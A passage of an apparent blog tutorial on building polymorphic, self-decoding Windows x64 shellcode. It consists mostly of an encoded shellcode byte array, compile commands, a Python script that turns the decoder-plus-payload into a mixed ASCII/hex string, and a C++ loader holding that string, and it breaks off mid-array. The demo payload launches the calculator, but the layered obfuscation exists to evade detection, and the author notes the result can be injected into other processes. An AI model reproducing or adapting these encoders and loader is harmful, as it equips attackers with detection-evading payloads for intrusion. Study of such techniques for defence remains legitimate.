<span class="kd">db</span>  <span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x7b</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xde</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0xa3</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xa7</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0x36</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x57</span><span class="p">,</span><span class="mh">0x76</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x13</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x13</span><span class="p">,</span><span class="mh">0x4b</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x23</span><span class="p">,</span><span class="mh">0x43</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x94</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbc</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x1d</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbc</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x16</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1d</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x6a</span><span class="p">,</span><span class="mh">0x80</span><span class="p">,</span><span class="mh">0x27</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0x26</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xb4</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xa5</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xb6</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x38</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xb6</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x35</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0xdb</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0x9f</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x47</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xb4</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x91</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xbe</span><span class="p">,</span><span class="mh">0x17</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x47</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0xbe</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x17</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x09</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0x82</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbc</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xeb</span><span class="p">,</span><span class="mh">0xfb</span><span class="p">,</span><span class="mh">0xc5</span><span class="p">,</span><span class="mh">0xc2</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0xcf</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0x9c</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xa4</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xae</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xb3</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xbe</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xbb</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0xa5</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xb3</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x97</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0xb0</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x4f</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xb4</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xa7</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0x6a</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x27</span><span class="p">,</span><span class="mh">0x5e</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0x26</span><span class="p">,</span><span class="mh">0x82</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x9f</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xa7</span><span class="p">,</span><span class="mh">0x17</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x09</span><span class="p">,</span><span class="mh">0x4f</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xa4</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x16</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x94</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0xa5</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x93</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x96</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xae</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xeb</span><span class="p">,</span><span class="mh">0xcf</span><span class="p">,</span><span class="mh">0xcd</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xcf</span><span class="p">,</span><span class="mh">0x82</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xa4</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span><span class="mh">0xb2</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x81</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xbd</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x91</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xad</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xaf</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x84</span><span class="p">,</span><span class="mh">0x1e</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0xa7</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x53</span>
<span class="no">encoded_shellcode_len</span><span class="kd"> equ</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">encoded_shellcode</span>
</code></pre></div></div>

<blockquote>
  <p>Before we compile this, it’s worth mentioning that we could also run the asmobfuscator python script against this assembly code for futher polypmorphic layers if we wanted.  But for simplicity sake I left it as is 😺</p>
</blockquote>

<p>Go ahead and compile that and run it.  You’ll get the calculator as expected, but we’re not done yet!!!  We need to hang on to that .obj file.  We will need it for our final portion of this post.  I just wanted you to see how the decoder works and make sure you do in fact see the calculator 😸 The grand finale - <strong>adding in Alphanumeric shellcode / mix</strong> is up next! But let’s go ahead and do the following first:</p>

<blockquote>
  <table>
    <tbody>
      <tr>
        <td>Compile instructions: nasm -fwin64 [program.asm]</td>
        <td>ld -m i386pep -N -o program.exe program.obj</td>
      </tr>
    </tbody>
  </table>
</blockquote>

<p><img width="1599" height="905" alt="image" src="https://github.com/user-attachments/assets/7e69c2b4-b13b-46aa-82ce-68fc21d8c35e" /></p>

<h2 id="polymorphic-prep-part-3---adding-in-the-alphanumeric--mix-component-to-our-shellcode">Polymorphic prep part 3 - Adding in the Alphanumeric / mix Component to our Shellcode</h2>

<p>Alright guys, we’re getting closer to our completed polymorphic shellcode now.  What we need to do next is generate shellcode for our decoding routine.  We can simply run the same python shellcode generation script from earlier.  Your results should look like mine below:</p>

<p><img width="1460" height="370" alt="image" src="https://github.com/user-attachments/assets/411aaac6-d913-4173-8603-8d680aca7b45" /></p>

<p>Next, go ahead and copy and paste that shellcode somewhere because you’ll need it here in just a few.  First, we need to convert our hex bytes (shellcode) to ASCII.  Well, we will convert what we can.  The hex bytes that do not have a direct ASCII charcode conversion available we will leave as is.   Thus, the <code class="language-plaintext highlighter-rouge">Alpha/mix</code> mix nature of our shellcode.  Here’s what the python script looks like, and here’s where you’ll paste in that Bitwise NOT decoder shellcode you just generated.  Notice how I pasted in the aforementioned shellcode:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Parse the hex list and convert to mixed ASCII/hex representation for C string literal
</span><span class="n">hex_list</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x48\x8d\x35\x23\x00\x00\x00\x44\x8a\x0d\x42\x00\x00\x00\xb9\x98\x01\x00\x00\x8a\x06\x44\x30\xc8\xf6\xd0\x88\x06\x48\xff\xc6\xe2\xf2\x48\x8d\x05\x02\x00\x00\x00\xff\xe0\x1e\xd4\xb5\x1b\xd0\xbf\x7b\x1b\xde\x6c\x1b\xd0\xb7\xa3\x1e\xd4\xa7\x1b\x62\x9a\x1a\xd4\xaf\x36\x1b\xd8\x57\x76\x63\x53\x53\x53\x1b\xd8\x13\x33\x1b\x62\xac\x1b\xd8\x13\x4b\x1a\xd4\xad\x1b\xd8\x23\x43\x1b\xd0\x94\x53\x1b\xd8\x65\x1f\xd4\xbc\x1b\xd8\x1d\x33\x1f\xd4\xbc\x1b\xd8\x4a\x1e\xd4\xbf\x1b\xe9\x18\x53\x16\x53\x01\x53\x1d\x53\x1b\x62\xac\x1b\x6a\x80\x27\x5b\x1a\xd4\xaf\x26\x85\x1f\xd4\xb4\x1b\xd8\x0d\x63\x1e\xda\xa5\x1a\xda\x8b\x1e\xd4\xb6\xd8\x08\x6f\x1e\x38\xb7\x52\x1f\x52\x90\x1e\xda\xb7\x1b\x62\x9a\x1a\x92\xb6\x53\x35\xd2\x92\xac\xdb\x1e\xd4\xbd\x1b\x92\xba\x5b\x1a\x92\x9f\x53\xd8\x47\x58\x1f\xd4\xb4\x1f\x52\x91\x1e\xda\xbe\x17\xd8\x01\x47\x1e\x62\xbe\x1e\x62\x88\x1a\xd0\xbf\x53\x17\xd8\x09\x73\x1a\xd0\xad\x53\x1e\x52\x90\x1e\xd4\xbd\x1f\xda\x82\x1f\xd4\xbc\x1b\xeb\xfb\xc5\xc2\xe9\xd4\xc9\xcf\x3c\x1b\x92\x9c\x53\x1b\xa4\x83\x1a\xd4\xae\x1b\x92\xb3\x5b\x1e\xda\xbe\x1b\x92\xbb\x5b\x1e\xd4\xb5\x03\x1e\xd6\xa5\x1b\xda\xb3\x1a\xd4\xad\x1b\xd0\x97\x5b\x1e\xda\xb7\x34\xb0\x63\x1a\xd4\xad\x62\x88\x1a\xd4\xaf\x12\xd8\x4f\xd8\x1b\x92\xb4\x53\x1f\x52\x90\x1e\xd4\xb5\x1b\xac\x9a\x1a\xd4\xaf\x1f\xd8\x5b\x1e\xd4\xa7\x1f\x6a\x58\x27\x5e\x1e\xd4\xbd\x26\x82\x1a\x92\xb5\x53\x9f\x1a\xd4\xaf\xac\x92\x1e\xd6\xb7\x1e\x62\x88\x1e\xd4\xa7\x17\xd8\x09\x4f\x1f\xd4\xa4\x1e\x52\x90\x1e\xd4\xbf\x16\xd8\x6f\xd8\x1a\xd4\xad\x1e\x52\x94\x1e\x62\xa5\x1b\x62\x93\x1a\xd0\x96\x53\x03\x1a\xd4\xae\x1b\xeb\xcf\xcd\xc0\xcf\x82\xc9\xd4\xc9\x1a\xd0\xaf\x53\x1b\xa4\x83\x1e\xd4\xbd\x03\x1a\xd4\xad\x1b\xda\xb2\x1e\xd6\xb7\x1b\x62\x81\x1e\xd4\xbd\x1b\xac\x91\x1a\xd4\xad\x1b\xd0\xbf\x63\x1a\xd4\xaf\x12\xac\x84\x1e\xd4\xa7\x53\x53\x53\x53\x53</span><span class="sh">"</span>

<span class="n">alphanumericfinal</span><span class="o">=</span><span class="p">[]</span>
<span class="k">for</span> <span class="n">bytey</span> <span class="ow">in</span> <span class="n">hex_list</span><span class="p">:</span>
    <span class="n">r</span> <span class="o">=</span> <span class="nf">repr</span><span class="p">(</span><span class="nf">chr</span><span class="p">(</span><span class="n">bytey</span><span class="p">))</span>
    <span class="k">if</span> <span class="n">bytey</span> <span class="o">==</span> <span class="mh">0x27</span><span class="p">:</span>
        <span class="n">alphanumericfinal</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="sh">"</span><span class="se">\"\\</span><span class="sh">'</span><span class="se">\"</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">bytey</span> <span class="o">==</span> <span class="mh">0x22</span><span class="p">:</span>
        <span class="n">alphanumericfinal</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="se">\"\\</span><span class="sh">""'</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">bytey</span> <span class="o">==</span> <span class="mh">0x20</span><span class="p">:</span>
        <span class="n">alphanumericfinal</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="sh">"</span><span class="se">\"\\</span><span class="s">x20</span><span class="se">\"</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">r</span><span class="o">=</span><span class="n">r</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">"'"</span><span class="p">,</span> <span class="sh">'"'</span><span class="p">)</span>
        <span class="n">alphanumericfinal</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sh">'</span><span class="s"> </span><span class="sh">'</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">alphanumericfinal</span><span class="p">))</span>
</code></pre></div></div>

<p>When you run that, you will get something like this:</p>

<p><img width="1460" height="496" alt="image" src="https://github.com/user-attachments/assets/2b381499-73e7-49ca-8252-6ed4d99b8fc1" /></p>

<p>That’s it!  You’ve done it!  That is the final shellcode we were looking for.  So what did we just do?  Well, we…</p>

<ul>
  <li>We started with a barebones x64 assembly template that uses WinExec to spawn the windows calculator
    <ul>
      <li>This assembly code is also unique in that it locates the kernel32 base starting with TEB, then locating PEB, then locating kernel32 by it’s unicode string via a string comparison</li>
    </ul>
  </li>
  <li>Layered our original shellcode with benign assembly instructions which introduce randomness to our code</li>
  <li>We introduced a self-decoding Bitwise NOT + XOR encoded shellcode</li>
  <li>We then took that shellcode and added yet another layer of polymorphism and made it Alpha/Mix compatible.</li>
</ul>

<p>I may have missed something in the bullet points above, but that’ the gist of it.  Now, you can use this final form of shellcode any way you like.  You can inject it into another process, run it as is, etc.  I’ll go ahead and just run it as-is for demonstration purposes.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
</span>
<span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span>
<span class="s">"H"</span> <span class="s">"</span><span class="se">\x8d</span><span class="s">"</span> <span class="s">"5"</span> <span class="s">"#"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"D"</span> <span class="s">"</span><span class="se">\x8a</span><span class="s">"</span> <span class="s">"</span><span class="se">\r</span><span class="s">"</span> <span class="s">"B"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"¹"</span> <span class="s">"</span><span class="se">\x98</span><span class="s">"</span> <span class="s">"</span><span class="se">\x01</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x8a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x06</span><span class="s">"</span> <span class="s">"D"</span> <span class="s">"0"</span> <span class="s">"È"</span> <span class="s">"ö"</span> <span class="s">"Ð"</span> <span class="s">"</span><span class="se">\x88</span><span class="s">"</span> <span class="s">"</span><span class="se">\x06</span><span class="s">"</span> <span class="s">"H"</span> <span class="s">"ÿ"</span> <span class="s">"Æ"</span> <span class="s">"â"</span> <span class="s">"ò"</span> <span class="s">"H"</span> <span class="s">"</span><span class="se">\x8d</span><span class="s">"</span> <span class="s">"</span><span class="se">\x05</span><span class="s">"</span> <span class="s">"</span><span class="se">\x02</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"ÿ"</span> <span class="s">"à"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"µ"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"¿"</span> <span class="s">"{"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Þ"</span> <span class="s">"l"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"·"</span> <span class="s">"£"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"§"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x9a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¯"</span> <span class="s">"6"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"W"</span> <span class="s">"v"</span> <span class="s">"c"</span> <span class="s">"S"</span> <span class="s">"S"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x13</span><span class="s">"</span> <span class="s">"3"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"¬"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x13</span><span class="s">"</span> <span class="s">"K"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"</span><span class="se">\xad</span><span 